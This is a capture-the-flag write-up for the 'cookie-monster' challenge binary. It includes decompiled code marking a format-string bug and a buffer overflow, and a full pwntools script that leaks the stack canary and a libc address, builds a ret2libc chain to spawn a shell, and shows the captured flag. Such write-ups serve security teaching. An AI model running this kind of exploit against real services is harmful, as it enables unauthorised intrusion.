You can download challenge file from [here](http://https://github.com/ebubekirtrkr/ebubekirtrkr.github.io/blob/master/assets/files/potter/cookie-monster?raw=true)
##### file cookie-monster```bashcookie-monster: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=998281a5f422a675de8dde267cefad19a8cef519, not stripped```
##### checksec cookie-monster```    Arch:         i386-32-little    RELRO:    Partial RELRO    Stack:       Canary found    NX:           NX enabled    PIE:          No PIE (0x8048000)```##### main function```cundefined4 main(void)
{  undefined *puVar1;   puVar1 = &stack0x00000004;  setbuf(stdin,(char *)0x0);  setbuf(stdout,(char *)0x0);  bakery(puVar1);  return 0;}```
##### bakery function```cvoid bakery(void)
{  int in_GS_OFFSET;  char local_30 [32];  int local_10;   local_10 = *(int *)(in_GS_OFFSET + 0x14);  printf("Enter your name: ");  fgets(local_30,0x20,stdin);  printf("Hello ");  printf(local_30); // FORMAT STRING here since it directly writes user input as format parameter  puts("Welcome to the bakery!\n\nCurrent menu:");  system("cat cookies.txt");  puts("\nWhat would you like to purchase?");  fgets(local_30,0x40,stdin); //BOF here since local_30 has 32 but it trys to write 0x40(64)  puts("Have a nice day!");  if (local_10 != *(int *)(in_GS_OFFSET + 0x14)) {    __stack_chk_fail_local();  }  return;}```
Bakery has bof vulnerabilty, but canary enabled so we should leak canary first. Luckly it has format string vulnerabilty too. After leaking canary, we should call system with `/bin/sh` string. I couldn't realize that elf has `bin/sh` inside in it, so I went for `ret2libc` attack. Since we have limited payload size instead of calling `puts` with one libc function address, I leak `setbuf` address with format string also, then use it in `ret2libc`.
Full scripts is```pyfrom pwn import *from pwnlib.util.cyclic import cyclic, cyclic_find
#context.log_level="debug"context.terminal = ["tmux", "splitw", "-h"]
elf = ELF("./cookie-monster")context.arch=elf.arch
p = remote("chals.damctf.xyz", 31312)
#gdb scriptg = """ b *bakery + 226 c"""
#p = elf.process()#gdb.attach(p,g)
#LEAK CANARY AND address of setbuf#payload="AAAA"+"|%p"*30payload="%15$p%11$p"p.sendline(payload)
p.recvuntil(b'0x')canary = int("0x"+p.recv(8).decode(),16)
p.recvuntil(b'0x')setbuf = int("0x"+p.recv(8).decode(),16)
log.info("canary: "+hex(canary))log.info("setbuf address: "+hex(setbuf))
#local testing#libc=ELF("/lib/i386-linux-gnu/libc.so.6")
#get appopriate libc#https://libc.blukat.me/?q=setbuf%3A0xf7d6a040&l=libc6-i386_2.27-3ubuntu1.4_amd64libc=ELF("./libc6-i386_2.27-3ubuntu1.4_amd64.so",checksec=False)
#adjust libc start addresslibc.address= setbuf - libc.symbols["setbuf"]
cannary_offset = cyclic_find("iaaa")
bof_offset = cyclic_find("daaa")
BINSH = next(libc.search(b"/bin/sh\x00"))
#create rop that calls libc systemlibc_rop = ROP(libc)libc_rop.call(libc.symbols["system"],[BINSH])
#print(libc_rop.dump())
#JUNK+CANARY+JUNK2+ROPpayload=cyclic(cannary_offset)+p32(canary)+cyclic(bof_offset)+libc_rop.chain()
p.recvuntil("What would you like to purchase?\n")p.sendline(payload)
p.interactive()#dam{s74CK_c00k13S_4r3_d3L1C10Us}```